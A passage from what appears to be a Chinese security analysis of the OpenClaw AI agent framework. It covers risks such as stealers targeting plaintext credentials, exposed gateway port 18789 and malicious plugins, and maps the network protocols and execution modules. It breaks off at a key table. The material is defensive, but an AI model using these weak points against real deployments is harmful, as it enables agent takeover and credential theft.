1. 前言
OpenClaw(俗称"龙虾")作为2026年初爆火的开源AI智能体框架,其核心价值在于能够自主执行任务(如操作文件、调用API、浏览网页甚至支付)。然而,正是这种"能动手"的能力,使其安全风险远高于传统的对话式AI。
根据工信部网络安全威胁和漏洞信息共享平台(NVDB)及多家安全机构的预警,OpenClaw 的安全性至关重要,主要体现在以下几个核心维度:
- 权限失控风险:从"助手"变"内鬼"
案例:安全研究发现,已有窃密木马(如 RedLine)专门针对 OpenClaw 的数据目录,窃取其中明文存储的 API 密钥和 OAuth 令牌。 - 网络暴露风险:裸奔的控制面板
高危现状:OpenClaw 的核心网关默认监听端口(如 18789)。许多用户在部署时未配置防火墙,直接将该端口暴露在公网,且常使用默认密码或弱密码。
潜在后果:据监测,全球有数万个 OpenClaw 实例直接暴露在公网。攻击者可以轻易扫描到这些实例,直接接管 AI 代理,利用其权限发起进一步攻击或窃取数据。 - 数据隐私与凭证泄露
高危现状:为了方便记忆和上下文关联,OpenClaw 会将聊天记录、配置文件以及用户提供的敏感信息(如数据库密码、云厂商 AK/SK、个人隐私数据)以明文形式存储在本地文件中。
潜在后果:任何能访问该文件的恶意软件或入侵者都能直接获取所有敏感凭证。此外,若配置不当,这些包含隐私的日志可能被意外上传或泄露。 - 供应链与插件信任危机
高危现状:OpenClaw 拥有强大的插件生态,允许加载第三方工具。
潜在后果:如果用户安装了恶意插件,或者插件源被篡改,恶意代码将在高权限下静默运行。由于 AI 自主决策的特性,用户往往难以察觉异常操作,直到造成损失(如擅自转账、删除关键文件)。
网络攻击主要是通过网络,以及本地执行的漏洞来攻击,本文重点分析了OpenClaw 的网络通讯架构,以及本地执行的核心模块。由此引出OpenClaw安全防护整体思路和防范思路。
2. OpenClaw 网络通讯架构
OpenClaw 采用了一种分层、多协议的混合通信架构。其设计核心是一个中央网关(Gateway),它作为所有消息和命令的中枢,协调着用户界面、AI 智能体、外部设备以及各种消息渠道之间的通信。
OpenClaw 的通讯协议架构采用分层设计,从底层到顶层依次为:外部 IM 平台接入层、协议适配层、消息路由层、核心引擎层和本地运行时层。这种分层设计实现了模块化解耦,使得系统具有良好的可扩展性和可维护性。
Layer 0:外部 IM 平台接入层
该层负责对接各种即时通讯平台,包括 Telegram、WhatsApp、Discord、Slack、Signal 等主流通讯渠道。每个平台都有对应的接入适配器,将各平台的消息格式统一转换为内部标准格式。这一层的设计使得 OpenClaw 可以同时支持多个通讯平台,用户可以选择自己习惯的渠道与 AI 进行交互。
Layer 1:Channel Adapter 协议适配层
协议适配层实现了统一的 ChannelProvider 接口,封装了消息解析、事件处理、媒体上传、用户资料获取等功能。这一层将不同平台的差异化协议进行抽象,为上层提供统一的接口,极大地简化了多平台支持的复杂度。
Layer 2:Channel Routing 消息路由层
消息路由层负责消息的路由分发、Hook 管理器维护以及 Gateway 网桥的协调工作。该层实现了消息在不同组件之间的高效传递,确保用户的指令可以准确到达核心引擎,处理结果可以及时返回给用户。
Layer 3:Core Engine 核心引擎层
核心引擎层是 OpenClaw 的大脑,包括 LLM 路由器、工具执行引擎、记忆管理系统和沙箱环境。LLM 路由器负责选择合适的语言模型(Claude/GPT/Gemini 等),工具执行引擎负责执行 AI 生成的指令,记忆管理系统维护对话上下文和长期记忆,沙箱环境则提供隔离的执行空间以确保安全。
Layer 4:Local Runtime 本地运行时层
本地运行时层直接与操作系统交互,提供文件系统操作、进程管理、网络访问等底层能力。这一层是 OpenClaw 实现"动手做事"的关键所在,AI 可以直接操作本地系统完成各种实际任务。
4. 执行层 Executor Layer 3. 智能体层 Agent Layer 2. 网关层 Gateway Layer 1. 渠道层 Channel Layer 外部世界
IM SDK / Webhook JSON
WebSocket (ws/wss)
Port 18789
HTTP POST Webhook
标准化消息 (Standard Msg)
读取/动态重载
IPC (Unix Socket)
或 gRPC (跨主机)
任务指令 (Task Dispatch)
远程命令
System Call / File IO
SSH (Port 22)
SFTP
HTTP/HTTPS API
用户/IM平台
微信/飞书/Slack/Telegram
WebUI 用户
浏览器
外部系统
GitHub/CI/Webhook
远程服务器
Linux/Windows
协议适配器集群
SDKs / Webhook Receiver
入口服务
WS:18789 / HTTP REST
核心逻辑
会话管理 / 路由 / 鉴权
配置文件
openclaw.json
Agent Orchestrator
意图识别 / 任务拆解 / 记忆
通信接口
Unix Socket / gRPC
沙箱环境
Cell Isolation / Docker
技能执行器
Skill Loader
本地资源操作
FS / Shell / API
远程执行模块
SSH / SFTP Client
本地操作系统
第三方 API
2.1. 渠道层(Channel):多平台接入
功能定位 :对接各类 IM 平台和外部系统,实现"无处不在"的交互。
核心代码位置 :src/channels/ (包含 wechat.ts, feishu.ts, telegram.ts, whatsapp.ts 等)
2.1.1. IM 协议适配 (SDK/API)
- 用途:接收用户消息并发送回复。
- 实现方式 :
- WebSocket 长连接 :如飞书(Feishu)、钉钉、WhatsApp Web (Baileys 库)。
- 代码示例:
src/channels/feishu/websocket-client.ts维护与飞书服务端的心跳。
- 代码示例:
- HTTP Polling / Webhooks :如 Telegram Bot API, Slack Events API。
- Gateway 暴露 webhook 端点(如
/webhook/telegram),接收平台推送的事件。
- Gateway 暴露 webhook 端点(如
- WebSocket 长连接 :如飞书(Feishu)、钉钉、WhatsApp Web (Baileys 库)。
- 统一抽象 :
- 所有 Channel 实现统一的接口(Interface),将不同平台的消息格式转换为 OpenClaw 内部标准格式(Standard Message Format),再交给 Gateway 处理。
2.1.2. Webhook - 外部事件触发
- 用途:接收 GitHub Push、CI/CD 通知、监控报警等外部系统事件,触发 Agent 自动响应。
- 代码逻辑 :
- 在 Gateway 层注册动态路由。
- 验证签名(Signature Verification)确保请求来源合法。
- 将 Payload 转化为 Agent 可理解的任务描述。
2.2. 网关层(Gateway):系统的中枢神经
功能定位 :所有外部请求的统一入口,负责消息路由、会话管理、鉴权及状态同步。
核心代码位置 :src/gateway/ (主要文件包括 server.ts, dispatcher.ts, auth.ts)
2.2.1. WebSocket (ws/wss) - 实时交互主通道
- 用途:WebUI 仪表盘与后端的核心交互协议。用于实时推送任务日志、流式输出 AI 回复、接收用户即时指令。
- 默认配置 :
- 端口 :
18789 - 绑定地址 :默认仅绑定
127.0.0.1(Loopback),出于安全考虑不直接暴露公网。 - 鉴权机制 :连接时需携带 Gateway Token(通常在 URL 参数或 Header 中),否则返回
1008 unauthorized错误。
- 端口 :
- 代码实现逻辑 :
-
在
src/gateway/server.ts中初始化 WebSocket 服务器。 -
使用
@route_to_executor等装饰器或中间件处理消息分发。 -
实现心跳检测(Heartbeat)以维持长连接。
-
关键代码片段逻辑 :
typescript// 伪代码示例,基于源码分析 const wss = new WebSocket.Server({ port: 18789, host: '127.0.0.1' }); wss.on('connection', (ws, req) => { const token = extractToken(req); if (!validateToken(token)) { ws.close(1008, 'unauthorized: gateway token missing'); return; } // 建立会话上下文,转发至 Agent 层 sessionManager.createSession(ws); });
-
2.2.2. HTTP/HTTPS - REST API 与管理接口
- 用途:提供技能(Skills)安装/卸载、配置修改(Config)、历史会话查询、系统健康检查等非实时操作。
- 复用端口 :通常与 WebSocket 共用
18789端口,通过协议升级头区分。 - 代码实现 :
- 在
src/gateway/server.ts中同时挂载 HTTP 处理器。 - 路由如
/api/v1/skills,/api/v1/config,/health。 - 支持 CORS 配置,允许受信任的域名访问 Dashboard。
- 在
2.2.3. MQTT/AMQP (可选) - 分布式扩展
- 用途:在多节点集群部署时,作为事件总线(Event Bus)协调不同 Gateway 实例间的状态同步或任务分发。
- 现状:在单机默认部署中通常不启用,需通过配置文件显式开启。
2.3. 智能体层(Agent):决策与调度核心
功能定位 :接收 Gateway 转发的意图,进行任务拆解、记忆检索、工具选择,并调度执行器。
核心代码位置 :src/agents/ (包括 orchestrator.ts, memory.ts, context.ts)
2.3.0.1. 内部 IPC (进程间通信)
- 用途:Gateway 进程与 Agent 进程(或 Worker 线程)之间的本地通信。
- 协议实现 :
- Unix Socket / Named Pipes:在 Linux/macOS 上使用 Unix Domain Socket,Windows 上使用 Named Pipes。这种方式比 TCP 更快且更安全(仅限本机)。
- Node.js Child Process / Worker Threads :利用 Node.js 原生能力进行消息传递 (
process.send/parentPort.postMessage)。
- 代码逻辑 :
- Gateway 将标准化后的 JSON 消息通过 Socket 发送给 Agent。
- Agent 处理完成后,将结果流式回传。
2.3.0.2. gRPC (可选) - 跨主机/容器调用
- 用途:当 Agent 被部署在独立容器或远程服务器时,提供强类型、高性能的 RPC 调用。
- 场景:企业级部署,将"大脑"(Agent)与"网关"(Gateway)物理隔离。
- 代码位置 :
src/proto/(定义.proto文件),src/agents/grpc-server.ts。
2.4. 执行层(Executor):手脚与工具
功能定位 :实际执行具体操作,如运行 Shell 命令、读写文件、调用外部 API。
核心代码位置 :src/executors/ 或 src/tools/ (包含 shell-executor.ts, file-system.ts)
2.4.1. 本地系统调用 (Local System Calls)
- 用途:直接在宿主机操作系统上执行任务。
- 协议/机制 :
- Node.js
child_process:封装spawn,exec执行 Shell 命令。 - Node.js
fs模块:直接进行文件读写。
- Node.js
- 安全沙箱 :
- 代码中通常包含沙箱逻辑(
src/sandbox/),可配置为使用 Docker 容器运行命令,防止恶意操作破坏宿主机。 - 配置项:
agents.defaults.sandbox.mode(docker / none)。
- 代码中通常包含沙箱逻辑(
2.4.2. SSH/SFTP - 远程执行
- 用途:控制远程服务器。
- 协议实现 :
- 使用
ssh2(Node.js 库) 建立 SSH 连接。 - 通过 SFTP 子系统传输文件。
- 使用
- 代码逻辑 :
- Executor 读取配置中的 SSH 凭据(私钥或密码)。
- 建立连接池,复用连接以提高效率。
- 将 Agent 生成的命令字符串通过 SSH Channel 发送,并捕获 stdout/stderr 流式返回。
3. 使用的通讯协议
3.1. WebSocket 协议 (核心通讯协议)
- 用途: Gateway 服务器与客户端双向实时通讯
- 实现库: ws (WebSocket for Node.js)
- 端口: 默认 18789 (可配置)
- 路径: / (主 WebSocket 端点), /canvas/ws (Canvas WebSocket)
- 加密: WSS (WebSocket Secure over TLS)
3.1.1. 核心实现位置
核心实现位置:
- src/gateway/client.ts - WebSocket 客户端实现
- src/gateway/server.ts - WebSocket 服务器实现
- src/gateway/protocol/index.ts - 自定义网关协议定义
3.1.2. 统计汇总
- 按模块分类统计
| 模块类别 | 文件数量 | WebSocket 用途 |
|---|---|---|
| 核心网关 | 18 | CLI/Web 客户端与服务器双向通信 |
| OpenAI Realtime | 4 | 语音流式处理、STT |
| 浏览器自动化 (CDP) | 6 | Chrome DevTools 协议 |
| Voice Call | 3 | Twilio 媒体流 |
| Canvas Host | 3 | 交互式 UI 通信 |
| Mattermost | 3 | 实时消息监控 |
| Discord | 2 | Gateway API |
| Feishu | 3 | 飞书 WebSocket 推送 |
| 第三方扩展 | 8 | Signal、WhatsApp、IRC 等 |
| 开发工具 | 4 | 测试、调试工具 |
| 总计 | 54+ | - |
3.1.3. 核心 WebSocket 调用链路举例
3.1.3.1. CLI 到网关的通信流程
CLI Command → GatewayClient.start()
→ new WebSocket("ws://127.0.0.1:18789")
→ ws.on("open") → queueConnect()
→ send Connect Challenge
→ attachGatewayWsConnectionHandler()
→ route to handler
3.1.3.2. OpenAI Realtime STT 流程
用户说话 → OpenAiRealtimeSttProvider.connect()
→ new WebSocket("wss://api.openai.com/v1/realtime")
→ ws.on("open") → send Session Config
→ sendAudio() → 发送音频增量
→ ws.on("message") → 接收转写结果
3.1.3.3. CDP 浏览器自动化流程
命令 → connectToCdpBrowser() → openCdpWebSocket()
→ new WebSocket(browserWSEndpoint)
→ withCdpSocket() → createCdpSender()
→ send({ method: "Page.navigate", params: { url } })
→ 导航完成 → 捕获截图
3.1.3.4. Twilio 媒体流流程
来电 → Twilio Webhook → handleWebhook()
→ MediaStreamHandler.handleUpgrade()
→ wss.handleUpgrade() → handleConnection()
→ ws.on("start") → 通话开始
→ ws.on("media") → 接收音频流
→ handleMedia() → STT 处理
3.1.3.5. Discord Gateway 流程
启动 → startDiscordMonitor() → ProxyGatewayPlugin
→ createWebSocket("wss://gateway.discord.gg")
→ ws.on("open") → identify()
→ ws.on("message") → READY/RESUMED
→ heartbeat() → 保持连接
3.2. HTTP/HTTPS 协议 (辅助通讯)
- 用途:
- Canvas 静态资源服务
- Control UI 界面
- Webhook 回调 (Hooks, Slack)
- OpenAI/Gemini API 代理
- 端点:
- /canvas/* - Canvas 资源
- /control/* - Control UI
- /hooks/* - Webhook 回调
- /slack/* - Slack 交互
- /v1/chat/completions - OpenAI 兼容 API
- /health, /ready - 健康检查
3.2.1. 核心实现位置
核心实现位置:
- src/gateway/server-http.ts - HTTP 服务器和路由处理
- src/browser/server-middleware.ts - Express 中间件
- src/plugins/http-registry.ts - 插件 HTTP 路由注册
3.2.2. 统计汇总
- 按模块分类统计
| 模块类别 | 文件数量 | 主要用途 |
|---|---|---|
| 核心网关 | 15 | HTTP 服务器、路由、授权、工具调用 |
| 即时通讯扩展 | 25 | Slack、Mattermost、Nextcloud、Google Chat 等 |
| OAuth 认证 | 4 | 设备码认证、Token 交换 |
| AI 服务 | 3 | OpenAI TTS、ElevenLabs |
| 企业应用 | 6 | Microsoft Teams、Matrix、飞书 |
| 浏览器/Canvas | 3 | 浏览器自动化、Canvas UI |
| 测试工具 | 5 | HTTP 模拟、测试夹具 |
| 其他扩展 | 8 | BlueBubbles、Nostr、Synology 等 |
| 总计 | 69+ | - |
3.2.3. 核心调用链路举例
3.2.3.1. Webhook 接收流程
外部服务 → Gateway HTTP Server → handleSlackHttpRequest()
→ Slack Event Handler → 消息处理管道
3.2.3.2. 工具调用流程
CLI/Web UI → POST /api/tools/invoke → handleToolsInvokeHttpRequest()
→ authorizeGatewayBearerRequestOrReply() → invokeTool()
3.2.3.3. 第三方 API 调用流程
内部触发 → sendMessageNextcloudTalk() → fetch(url, { POST })
→ Nextcloud Talk API → 返回消息 ID
3.2.3.4. OAuth 认证流程
用户命令 → startOAuthCallbackServer() → 监听 http://localhost:callback
→ 用户授权 → 回调接收 → pollTokenEndpoint() → 获取 Token
3.3. TLS/SSL 协议 (传输层安全)
- 用途: 加密 WebSocket 和 HTTP 连接
- 版本: TLS 1.2+
- 特性:
- 证书指纹 SHA-256 验证
- SNI (Server Name Indication)
- 支持自定义证书
3.3.1. 核心实现位置
核心实现位置:
- src/infra/tls/gateway.ts - 加载网关 TLS 运行时配置,包括证书管理
- src/infra/tls/gateway.ts - 自动生成自签名证书(OpenSSL)
- src/infra/tls/gateway.ts - 检查证书文件是否存在
- src/config/types.gateway.ts - TLS 配置类型:certPath, keyPath, caPath, autoGenerate
3.3.2. 统计汇总
- 按模块分类统计
| 模块类别 | 文件数量 | TLS/SSL 用途 |
|---|---|---|
| 核心网关 TLS | 9 | HTTPS 服务器、证书管理、指纹验证 |
| WebSocket TLS | 7 | WSS 客户端验证、指纹比对 |
| IRC 扩展 | 5 | IRC over TLS(6697 端口) |
| Synology Chat | 4 | HTTPS with SSL verify 选项 |
| 浏览器 CDP | 4 | CDP over WSS/HTTPS |
| HTTP 客户端 | 10+ | Fetch API with TLS |
| Android App | 3 | Kotlin TLS 配置 |
| 测试工具 | 4 | TLS 测试、安全验证 |
| UI 安全上下文 | 2 | HTTPS 检测 |
| 总计 | 48+ | - |
3.3.3. 核心 TLS 调用链路举例
3.3.3.1. 网关 HTTPS 服务器启动流程
配置 → loadGatewayTlsRuntime(cfg.tls)
→ generateSelfSignedCert() (如果 autoGenerate=true)
→ openssl req -x509 -newkey rsa:2048
→ 读取 cert/key/ca 文件
→ new X509Certificate(cert)
→ fingerprint256 = normalizeFingerprint()
→ createHttpsServer({ cert, key, ca, minVersion: "TLSv1.3" })
→ listen(port, host)
3.3.3.2. WSS 客户端指纹验证流程
GatewayClient.start()
→ isSecureWebSocketUrl(url) 检查 wss://
→ new WebSocket(url, { rejectUnauthorized: false })
→ ws.on("open") → validateTlsFingerprint()
→ checkServerIdentity(host, cert)
→ cert.fingerprint256 → normalizeFingerprint()
→ 比对预期指纹
→ 不匹配则关闭连接 (code: 1008)
3.3.3.3. IRC TLS 连接流程
IrcClient.connect(options)
→ options.tls ? tls.connect() : net.connect()
→ tls.connect({ host, port: 6697, servername: host })
→ socket.setEncoding("utf8")
→ 发送 NICK/USER (加密传输)
→ NickServ 认证 (GHOST 命令)
3.4. RPC 协议 (应用层协议)
- 帧格式: JSON over WebSocket
- 协议版本: PROTOCOL_VERSION (当前为 2)
- 消息类型:
- RPC 请求
- RPC 响应
- 服务端推送事件
- 认证机制: Ed25519 数字签名 + 设备令牌 + Nonce 挑战
3.4.1. 核心实现位置
核心实现位置:
- src/acp/runtime/types.ts - ACP RPC 运行时接口定义
- src/acp/runtime/types.ts - RPC 事件类型(text_delta, tool_call, done, error)
- src/acp/runtime/types.ts - RPC 控制方法:set_mode, set_config_option, status
- extensions/acpx/src/runtime-internals/jsonrpc.ts - 验证 ACP JSON-RPC 2.0 消息格式
- extensions/acpx/src/runtime-internals/jsonrpc.ts - 验证 JSON-RPC ID 类型
- extensions/acpx/src/runtime-internals/jsonrpc.ts - 标准化 JSON-RPC ID
3.4.2. 统计汇总
- 按 RPC 协议类型分类
| RPC 协议类型 | 文件数量 | 典型场景 |
|---|---|---|
| JSON-RPC 2.0 (ACP/MCP) | 18 | ACPX runtime、MCP proxy |
| WebSocket RPC (Gateway) | 12 | Gateway client-server 通信 |
| HTTP-RPC (REST-like) | 25+ | Tool invoke, Channel sends |
| CDP (Chrome DevTools) | 8 | 浏览器自动化 |
| Plugin Hooks RPC | 7 | before/after tool call |
| Subagent Control RPC | 8 | Spawn/kill/steer subagents |
3.4.3. 核心 RPC 调用链路举例
3.4.3.1. ACP JSON-RPC 调用流程
Agent → AcpxRuntime.runTurn(input)
→ spawnAndCollect(command, args)
→ child_process.spawn("npx", ["acpx", "prompt", ...])
→ readline.createInterface(stdout)
→ parseJsonLines(line)
→ isAcpJsonRpcMessage({ jsonrpc: "2.0", method: "prompt", params: {...} })
→ yield { type: "text_delta", text: "..." }
→ yield { type: "tool_call", toolCallId: "call-1", ... }
→ yield { type: "done" }
3.4.3.2. Gateway WebSocket RPC 流程
CLI → GatewayClient.request(method, params)
→ buildRequestFrame({ type: "req", id: "uuid", method, params })
→ ws.send(JSON.stringify(frame))
Gateway Server → attachGatewayWsMessageHandler()
→ handleRequestFrame({ method: "tool.invoke", params: {...} })
→ invokeToolWithLimits(params)
→ sendResponseFrame({ type: "res", id: "uuid", ok: true, payload: {...} })
3.4.3.3. Plugin Hook RPC 流程
Tool Execute → handleToolExecutionStart(ctx, event)
→ runBeforeToolCall(event, context)
→ plugin hook handler receives { toolName, params, ... }
→ returns { adjustedParams: {...} }
→ consumeAdjustedParamsForToolCall(toolCallId)
→ execute tool with adjusted params
Tool Complete → handleToolExecutionEnd(ctx, result)
→ runAfterToolCall(event, context)
→ plugin hook handler receives { toolName, result, durationMs, ... }
3.4.3.4. CDP RPC 流程
Command → navigateWithTimeout(cdpUrl, url)
→ withCdpSocket(wsUrl, async (send) => {
const result = await send("Page.navigate", { url })
// CDP JSON-RPC: { id: 1, method: "Page.navigate", params: { url } }
})
→ openCdpWebSocket("ws://localhost:9222/devtools/page/xxx")
→ ws.send(JSON.stringify({ id, method, params }))
→ ws.on("message", (data) => resolve(JSON.parse(data)))
3.4.3.5. MCP Proxy JSON-RPC 流程
Agent → bundleMcpTools(serverName, config)
→ connectToMcpServer({ command: "npx", args: ["-y", "mcp-remote@latest", ...] })
→ new Client(transport: StdioClientTransport)
→ client.callTool({ name: "canva:design", arguments: {...} })
→ MCP JSON-RPC: { jsonrpc: "2.0", id: 1, method: "tools/call", params: {...} }
← { jsonrpc: "2.0", id: 1, result: { content: [...] } }
3.5. mDNS/DNS-SD 协议 (服务发现)
- 用途: 局域网内自动发现 Gateway 服务
- 实现: Bonjour/Avahi
- 服务类型: _openclaw-gw._tcp.
3.5.1. 核心实现位置
核心实现位置:
- src/infra/bonjour-discovery.ts - 发现网关信标(跨平台
- src/infra/bonjour-discovery.ts - macOS dns-sd 工具发现(本地
- src/infra/bonjour-discovery.ts -Linux avahi-browse 工具发现
- Wide Area DNS|src/infra/widearea-dns.ts - 解析广域发现域名(env/config)
3.5.2. 统计汇总
- 按 mDNS/DNS-SD 功能分类
| 功能类别 | 文件数量 | 典型场景 |
|---|---|---|
| 发现 (Discovery) | 18 | 浏览/解析网关信标 |
| 广播 (Advertising) | 8 | 发布网关服务 |
| Wide Area DNS-SD | 10 | 跨网络 unicast DNS-SD |
| Android NSD | 8 | Android 平台 NSD 实现 |
| CLI 命令 | 4 | 用户交互发现 |
| 配置管理 | 5 | mDNS 模式控制 |
| 总计 | 53+ | - |
3.5.3. 核心 mDNS/DNS-SD 调用链路举例
3.5.3.1. macOS 本地 mDNS 发现流程
CLI: openclaw gateway discover
→ discoverGatewayBeacons({ platform: "darwin", domains: ["local."] })
→ discoverViaDnsSd("local.", timeoutMs, run)
→ run(["dns-sd", "-B", "_openclaw-gw._tcp", "local."])
→ parseDnsSdBrowse(stdout)
→ instances = ["Peter's Mac Studio Gateway"]
For each instance:
→ run(["dns-sd", "-L", "Peter's Mac Studio Gateway", "_openclaw-gw._tcp", "local."])
→ parseDnsSdResolve(stdout)
→ beacon = {
instanceName: "Peter's Mac Studio Gateway",
host: "studio.local",
port: 18789,
txt: { displayName: "Peter's Mac Studio", role: "gateway", ... }
}
→ return beacons[]
3.5.3.2. Wide Area Unicast DNS-SD 发现流程 (Tailscale)
discoverGatewayBeacons({ wideAreaDomain: "openclaw.internal." })
→ resolveWideAreaDiscoveryDomain() → "openclaw.internal."
// Step 1: Try standard dns-sd browse first
→ discoverViaDnsSd("openclaw.internal.", ...)
→ returns empty (no multicast across networks)
// Step 2: Fallback to Tailscale DNS probing
→ discoverWideAreaViaTailnetDns("openclaw.internal.", ...)
→ tailscale status --json → get tailnet IPs
// Step 3: Probe each tailnet IP for PTR record
→ dig @<TAILNET_IP> +short _openclaw-gw._tcp.openclaw.internal. PTR
→ ptrs = ["studio-gateway._openclaw-gw._tcp.openclaw.internal."]
// Step 4: Resolve SRV and TXT from nameserver
→ dig @<TAILNET_IP> +short studio-gateway._openclaw-gw._tcp.openclaw.internal. SRV
→ srv = { host: "studio.openclaw.internal.", port: 18789 }
→ dig @<TAILNET_IP> +short studio-gateway._openclaw-gw._tcp.openclaw.internal. TXT
→ txt = { displayName: "Studio", role: "gateway", gatewayTls: "1", ... }
→ return beacons[]
3.5.3.3. 网关 Bonjour 广播流程
Gateway startup → startGatewayBonjourAdvertiser(opts)
→ isDisabledByEnv() → false (NODE_ENV !== "test")
→ import("@homebridge/ciao") → getResponder()
→ hostname = "studio" (from env or os.hostname())
→ instanceName = "studio (OpenClaw)"
// Build TXT record
→ gatewayTxt = {
role: "gateway",
gatewayPort: "18789",
lanHost: "studio.local",
displayName: "studio",
transport: "gateway",
sshPort: "22", // omitted in minimal mode
cliPath: "/opt/homebrew/bin/openclaw", // omitted in minimal mode
gatewayTls: "1", // if TLS enabled
gatewayTlsSha256: "<fingerprint>", // if TLS enabled
}
// Create service
→ responder.createService({
name: "studio (OpenClaw)",
type: "openclaw-gw",
protocol: Protocol.TCP,
port: 18789,
domain: "local",
hostname: "studio",
txt: gatewayTxt,
})
// Advertise (non-blocking)
→ svc.advertise()
→ on("name-change") / on("hostname-change") listeners
// Watchdog (re-advertise if stuck)
→ setInterval(() => {
if (svc.serviceState !== "announced") {
svc.advertise() // retry
}
}, 5000)
3.6. SSH/SFTP - 远程执行
3.6.1. 核心实现位置
核心实现位置:
- src/agents/sandbox/ssh.ts - 执行 SSH 远程命令(spawn ssh process)
- src/agents/sandbox/ssh.ts - 构建 SSH 命令行参数(-F config, -T/-tt, RequestTTY)
- src/agents/sandbox/ssh.ts - 构建远程命令(shell 转义)
- src/agents/sandbox/ssh.ts - 构建 exec 远程命令(env + cd + command)
- src/agents/sandbox/ssh.ts - Shell 参数转义(单引号嵌套)
- src/agents/sandbox/ssh.ts - 使用 tar 管道传输目录内容
3.6.2. 统计汇总
- 按 SSH 功能分类
| SSH 功能类别 | 文件数量 | 典型场景 |
|---|---|---|
| SSH 隧道 | 3 | Gateway 远程访问端口转发 |
| SSH Config 解析 | 2 | 读取 ~/.ssh/config 配置 |
| SSH Sandbox | 8 | 远程命令执行、文件传输 |
| SSH Backend | 4 | Sandbox backend 实现 |
| Remote FS Bridge | 2 | 远程文件系统操作 |
| Gateway 集成 | 4 | CLI status/discovery |
| 总计 | 23+ | - |
3.6.3. 本地系统调用链路示例举例
3.6.3.1. 基础命令执行流程(runExec)
Agent → runExec("pnpm", ["install"], { timeoutMs: 30000 })
→ resolveCommand("pnpm") → "pnpm.cmd" (Windows)
→ resolveNpmArgvForWindows(["pnpm", "install"])
→ [node.exe, npm-cli.js, "install"] (if available)
→ execFileAsync(command, args, { timeout, encoding: "utf8" })
→ Node.js child_process.execFile()
← { stdout: "...", stderr: "..." }
3.6.3.2. Windows npm/npx 直接执行流程(避免 .cmd spawn)
Agent → runExec("npm", ["install"], { timeoutMs: 60000 })
→ resolveNpmArgvForWindows(["npm", "install"])
→ basename = "npm"
→ cliName = "npm-cli.js"
→ cliPath = <nodeDir>/node_modules/npm/bin/npm-cli.js
→ fs.existsSync(cliPath) → true
→ return [process.execPath, cliPath, "install"]
→ execFileAsync(node.exe, [npm-cli.js, "install"], options)
← Direct node execution (no cmd.exe wrapper, avoids EINVAL)
3.7. 本地系统调用(Local System Call)
3.7.1. 核心实现位置
核心实现位置:
- src/process/exec.ts - 执行命令并返回 stdout/stderr(execFile 封装)
- src/process/exec.ts - 带超时控制的命令执行(spawn 封装)
- src/process/exec.ts - 解析命令环境变量(npm fund 抑制等)
- src/process/exec.ts - Windows npm/npx 参数解析(避免 .cmd 直接 spawn)
- src/process/exec.ts - 解析 Windows 命令(添加 .cmd 扩展名)
- src/process/exec.ts - cmd.exe 参数转义(防止注入)
- src/process/exec.ts - 构建 cmd.exe 命令行字符串
- src/process/exec.ts - 判断是否需要 shell 执行(始终返回 false)
- src/process/exec.ts - Spawn 结果数据结构
- src/process/exec.ts - 命令选项类型定义
3.7.2. 统计汇总
- 按系统调用功能分类
| 功能类别 | 文件数量 | 典型场景 |
| ------------ | -------- | ------------------------------ | |
| 核心执行 | 3 | runExec, runCommandWithTimeout |
| Windows 适配 | 4 | CVE-2024-27980 workaround |
| Shell 配置 | 1 | PowerShell/bash 选择 |
| 进程管理 | 1 | killProcessTree |
| TUI 本地执行 | 1 | !command 交互式执行 |
| Gateway 发现 | 1 | 进程/端口检测 |
| ACPX 运行时 | 1 | 插件 spawn 解析 |
| 脚本工具 | 5+ | 构建/测试/检测 |
| 总计 | 17+ | - |
3.7.3. SSH 调用链路举例
3.7.3.1. SSH 远程命令执行流程
Agent → runSshSandboxCommand({
session: { configPath: "...", host: "openclaw-sandbox" },
command: "npm install && npm run build",
workdir: "/var/www/app",
env: { NODE_ENV: "production" }
})
→ buildExecRemoteCommand({
command: "npm install && npm run build",
workdir: "/var/www/app",
env: { NODE_ENV: "production" }
})
→ shellEscape("/var/www/app") → "'/var/www/app'"
→ body: "cd '/var/www/app' && npm install && npm run build"
→ argv: ["env", "NODE_ENV=production", "/bin/sh", "-c", body]
→ buildRemoteCommand(argv) → escaped command string
→ buildSshSandboxArgv({ session, remoteCommand })
→ [
"ssh",
"-F", configPath,
"-T", # Disable pseudo-terminal
host,
remoteCommand
]
→ spawn("ssh", argv, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env
})
→ child.stdout.on("data") → stdout += chunk
→ child.stderr.on("data") → stderr += chunk
→ child.on("close") → { code, signal }
← { stdout: "...", stderr: "...", code: 0 }
3.8. OpenClaw 密钥存储架构
┌─────────────────────────────────────────────────────────────────┐
│ OpenClaw 密钥存储架构 │
├─────────────────────────────────────────────────────────────────┤
│ │
│ ┌───────────────────────────────────────────────────────────┐ │
│ │ 密钥存储方式 │ │
│ │ │ │
│ │ ┌─────────────────┐ ┌─────────────────────────────┐ │ │
│ │ │ Environment │ │ Encrypted JSON5 Config │ │ │
│ │ │ Variables │ │ │ │ │
│ │ │ │ │ { │ │ │
│ │ │ OPENAI_API_KEY │ │ "apiKeys": { │ │ │
│ │ │ ANTHROPIC_KEY │ │ "openai": "enc:xxx", │ │ │
│ │ │ TELEGRAM_TOKEN │ │ "telegram": "enc:yyy" │ │ │
│ │ │ ... │ │ } │ │ │
│ │ │ │ │ } │ │ │
│ │ └────────┬────────┘ └──────────────┬──────────────┘ │ │
│ │ │ │ │ │
│ │ ▼ ▼ │ │
│ │ ┌─────────────────────────────────────────────┐ │ │
│ │ │ Key Injection Module │ │ │
│ │ │ ┌───────────────────────────────────────┐ │ │ │
│ │ │ │ • Environment Variable Reader │ │ │ │
│ │ │ │ • Config File Decryption │ │ │ │
│ │ │ │ • Secure Memory Buffer │ │ │ │
│ │ │ │ • Process Environment Injection │ │ │ │
│ │ │ └───────────────────────────────────────┘ │ │ │
│ │ └─────────────────────────────────────────────┘ │ │
│ │ │ │ │
│ │ ▼ │ │
│ │ ┌─────────────────────────────────────────────┐ │ │
│ │ │ Skills Environment Injection │ │ │
│ │ │ • skills.entries.*.env │ │ │
│ │ │ • skills.entries.*.apiKey │ │ │
│ │ │ • Injects into host process (not sandbox) │ │ │
│ │ └─────────────────────────────────────────────┘ │ │
│ └───────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────┘
3.8.1. 密钥分类
OpenClaw 系统中的密钥可以分为以下几类,每种类别有不同的安全要求和使用场景:
3.8.2. OpenClaw 密钥分类与安全要求表
| 密钥类别 | 具体示例 | 存储方式 | 主要用途 | 安全风险与后果 |
|---|---|---|---|---|
